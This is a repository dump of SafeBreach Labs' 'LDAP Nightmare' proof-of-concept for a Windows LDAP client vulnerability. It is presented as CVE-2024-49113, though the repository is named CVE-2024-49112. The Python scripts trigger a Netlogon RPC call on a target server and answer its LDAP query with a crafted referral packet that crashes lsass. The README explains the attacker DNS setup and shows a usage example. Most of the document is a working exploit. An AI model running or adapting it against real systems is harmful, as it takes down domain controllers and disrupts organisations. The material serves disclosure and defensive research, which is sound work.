Repository: SafeBreach-Labs/CVE-2024-49112 Branch: main Commit: 396afcd0d45e Files: 8 Total size: 13.5 KB Directory structure: gitextract_bdpsp_7r/ ├── .gitignore ├── LICENSE ├── LdapNightmare.py ├── Readme.md ├── exploit_server.py ├── logger.py ├── requirements.txt └── rpc_call.py ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ venv/ __pycache__/ ================================================ FILE: LICENSE ================================================ BSD 3-Clause License Copyright (c) 2022, SafeBreach Labs All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ================================================ FILE: LdapNightmare.py ================================================ import time import asyncio import argparse import threading from logger import logger from rpc_call import DsrGetDcNameEx2 from exploit_server import run_exploit_server def start_ldap_server(listen_port: int): """Run the async LDAP server in this thread.""" asyncio.run(run_exploit_server(listen_port)) def main(): parser = argparse.ArgumentParser( description="Call NRPC DsrGetDcNameEx2 via Impacket" ) parser.add_argument("target_ip", help="Target IP address (required)") parser.add_argument( "--port", "-p", type=int, default=49664, help="TCP port for RPC (default: 49664)" ) parser.add_argument( "--listen-port", "-l", type=int, default=389, help="UDP port for exploit server listen (default: 389)" ) parser.add_argument( "--domain-name", "-d", required=True, help="DomainName parameter" ) parser.add_argument( "--account", "-a", default="Administrator", help="AccountName parameter (default: Administrator)" ) parser.add_argument( "--site-name", "-s", default="", help="SiteName parameter (default: empty string)" ) args = parser.parse_args() # 1. Start the exploit server in a background thread. server_thread = threading.Thread(target=start_ldap_server, daemon=True, args=(args.listen_port,)) server_thread.start() # 2. Optionally, wait a moment to ensure server is listening logger.info("Waiting for udp server to start...") time.sleep(2) # 3. Now call your RPC function logger.info("Calling DsrGetDcNameEx2 now...") try: DsrGetDcNameEx2( target_ip=args.target_ip, port=args.port, account=args.account, site_name=args.site_name, domain_name=args.domain_name ) logger.error("Failed to trigger the vulnerability!") except ConnectionResetError: # Netlogon is implemented inside the lsass.exe process, # So the connection will be reset after the exploit is triggered. logger.info("Successfuly triggered the vulnerability!") if __name__ == "__main__": main() ================================================ FILE: Readme.md ================================================ # LDAP Nightmare An exploit for CVE-2024-49113 reported by Yuki Chen (@guhe120). A vulnerability in Windows Lightweight Directory Access Protocol (LDAP). Created by SafeBreach Labs (published on January 1st 2025). For the full technical analysis of the vulnerability and how we managed to exploit it check out the blog post [**here**](https://www.safebreach.com/blog/ldapnightmare-safebreach-labs-publishes-first-proof-of-concept-exploit-for-CVE-2024-49113/) ## Overview CVE-2024-49113 is a critical vulnerability in Windows LDAP client that according to Microsoft allows remote code execution. This exploit leverages the vulnerability to crash target Windows Server systems by interacting with their Netlogon Remote Protocol (NRPC), and LDAP client. ## Demo https://github.com/user-attachments/assets/1cbda4a9-943a-4e07-a95a-b20e45863ec3 ## Setup 1. **Install Dependencies**: Ensure that all required Python packages are installed. You can install them using `pip` and the provided `requirements.txt` file: ```bash pip install -r requirements.txt ``` 2. **Configure the Exploit**: - `target_ip`: IP address of the target machine. - `port`: TCP port for RPC communication (default: 49664). - `listen_port`: UDP port for the exploit server to listen on (default: 389). If not changed, the tool is required to be run with admin or root privileges - `domain_name`: A domain name on the internet that the attacker owns. This domain must have two DNS SRV records under it. (SRV records map a domain to a port and another domain): - _ldap._tcp.dc._msdcs.`domain_name` -> `listen_port` `attacker's machine hostname` - _ldap._tcp.default-first-site-name._sites.dc._msdcs.`domain_name` -> `listen_port` `attacker's machine hostname` - Note - `attacker's machine hostname` will work assuming the victim server can find the attacker machine by its hostname using NBNS. Instead of the attacker's hostname, this value can be replaced with a domain name on the internet that point towards the IP of a malicious LDAP server exploiting the vulnerability. - `account`: Account name parameter (default: Administrator). - `site_name`: Site name parameter (default: empty string). ## Usage ```bash python LdapNightmare.py --domain-name [options] ``` **Example**: ```bash python LdapNightmare.py 192.168.1.100 --domain-name example.com ``` ## How It Works 1. **Starts the Exploit Server**: The script initiates an asynchronous LDAP server that listens for incoming connections on the specified UDP port. 2. **Invokes `DsrGetDcNameEx2`**: The script calls the `DsrGetDcNameEx2` function via the Netlogon Remote Protocol to trigger the victim server to send an LDAP query to the attacker. 3. **Triggers the Vulnerability**: By sending specially crafted response, the exploit triggers the CVE-2024-49113 vulnerability, causing the victim server to crash ## References - [CVE-2024-49113 Details](https://nvd.nist.gov/vuln/detail/CVE-2024-49113) - [Microsoft Security Advisory](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49113) ## Authors - Or Yair & Shahak Morag | | Or Yair | Shahak Morag | |----------|-------------------------------------------------|---------------------------------------------------------------| | LinkedIn | [Or Yair](https://www.linkedin.com/in/or-yair/) | [Shahak Morag](https://www.linkedin.com/in/shahak-morag-6bb51b142/) | | Twitter | [@oryair1999](https://twitter.com/oryair1999) | [@shahakmo](https://x.com/shahakmo) | ================================================ FILE: exploit_server.py ================================================ import asyncio from logger import logger from ldaptor.protocols import pureldap from ldaptor.protocols import pureber REFERRAL_RESULT_CODE = 10 class LDAPSearchResultDoneRefferal(pureldap.LDAPSearchResultDone): def toWire(self): elements = [ pureber.BEREnumerated(self.resultCode), pureber.BEROctetString(self.matchedDN), pureber.BEROctetString(self.errorMessage), ] if self.resultCode == 10: # LDAP referral result code if self.referral: elements.append( pureber.BERSequence( [pureber.BEROctetString(url) for url in self.referral], tag=0xA3 # Context-specific tag for referral ) ) if self.serverSaslCreds: elements.append(pureldap.LDAPBindResponse_serverSaslCreds(self.serverSaslCreds)) return pureber.BERSequence(elements, tag=self.tag).toWire() def get_malicious_ldap_packet(message_id: int, lm_referral: int=2) -> bytes: """ Build a malicious LDAP response packet with a referral. The packet has the following structure: Result code: 10 (LDAP referral) Referral: ldap://referral.com (valid LDAP URL) Message ID: 4 bytes (big-endian) - the same as the original request with lm_referral value. """ if lm_referral == 0 or lm_referral > 255: raise ValueError("lm_referral must be between 1 and 255") if lm_referral & 1: raise ValueError("lm_referral must be an even number") ldap_search_result = LDAPSearchResultDoneRefferal(resultCode=REFERRAL_RESULT_CODE, referral=['ldap://referral.com']) ldap_response_message = pureldap.LDAPMessage(value=ldap_search_result, id=message_id) bytes_to_send = ldap_response_message.toWire() lm_referral_length_index = bytes_to_send.index(b"\x02\x01") + 1 message_id_byte = bytes_to_send[lm_referral_length_index + 1].to_bytes(length=1, byteorder='big') bytes_to_send = ( bytes_to_send[:lm_referral_length_index] # Everything before the message ID + b"\x04" # Type and Length of the message ID + lm_referral.to_bytes(length=1, byteorder='big') # encoded lm_referral + b"\x00\x00" # Padding + message_id_byte # Message ID + bytes_to_send[lm_referral_length_index + 2:] # Rest of the packet ) new_packet_length = bytes_to_send[1] + 3 bytes_to_send = bytes_to_send[0:1] + new_packet_length.to_bytes(length=1, byteorder='big') + bytes_to_send[2:] return bytes_to_send class LdapServerProtocol(asyncio.DatagramProtocol): def __init__(self): super().__init__() self.berdecoder = pureldap.LDAPBERDecoderContext_TopLevel( inherit=pureldap.LDAPBERDecoderContext_LDAPMessage( fallback=pureldap.LDAPBERDecoderContext( fallback=pureber.BERDecoderContext() ), inherit=pureldap.LDAPBERDecoderContext( fallback=pureber.BERDecoderContext() ), ) ) self.transport = None def connection_made(self, transport: asyncio.DatagramTransport) -> None: self.transport = transport logger.info(f"NetLogon connected") def datagram_received(self, data: bytes, addr) -> None: # Parse the received data ldap_message, _ = pureber.berDecodeObject(self.berdecoder, data) logger.info(f"Received LDAP request from NetLogon {addr}") # Build the "vulnerable" response packet vulnerable_ldap_packet = get_malicious_ldap_packet(ldap_message.id) logger.info(f"Sending malicious LDAP response packet to {addr}: {vulnerable_ldap_packet}") # Send back to client self.transport.sendto(vulnerable_ldap_packet, addr) def connection_refused(self, exc) -> None: logger.error(f"Connection refused: {exc}") def error_received(self, exc) -> None: logger.error(f"Error received: {exc}") async def run_exploit_server(listen_port: int): loop = asyncio.get_running_loop() transport, _ = await loop.create_datagram_endpoint( lambda: LdapServerProtocol(), local_addr=('0.0.0.0', listen_port) ) try: # Keep the server running forever (until Ctrl-C or you close the loop). await asyncio.Future() except KeyboardInterrupt: pass finally: transport.close() logger.info("Server has been shut down.") ================================================ FILE: logger.py ================================================ import logging # Define a custom format with a prefix custom_format = '[LDAP Nightmare:%(levelname)s] - %(message)s' # Create a logger logger = logging.getLogger('my_logger') logger.setLevel(logging.INFO) # Create a handler (console/file) console_handler = logging.StreamHandler() # Set the formatter with the custom prefix formatter = logging.Formatter(custom_format) console_handler.setFormatter(formatter) # Add the handler to the logger logger.addHandler(console_handler) ================================================ FILE: requirements.txt ================================================ ldaptor impacket ================================================ FILE: rpc_call.py ================================================ from logger import logger from impacket.dcerpc.v5 import nrpc from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.dcerpc.v5.transport import DCERPCTransportFactory NULL = '\x00' def DsrGetDcNameEx2(target_ip: str, port: int, account: str, site_name: str, domain_name: str): # Build the RPC transport using ncacn_ip_tcp over : rpctransport = DCERPCTransportFactory(f'ncacn_ip_tcp:{target_ip}[{port}]') dce = rpctransport.get_dce_rpc() dce.connect() logger.info(f"Connected to {target_ip}:{port}") try: dce.bind(nrpc.MSRPC_UUID_NRPC) except DCERPCException: logger.error("Failed to bind to NRPC interface!") logger.info("This might be because the target is doesn't have netlogon service running.") raise request = nrpc.DsrGetDcNameEx2() request['ComputerName'] = NULL request['AccountName'] = account + NULL request['AllowableAccountControlBits'] = 1 << 9 request['DomainName'] = domain_name + NULL request['DomainGuid'] = NULL request['SiteName'] = site_name + NULL request['Flags'] = 0 logger.info("Sending DsrGetDcNameEx2 request...") resp = dce.request(request) resp.dump() dce.disconnect()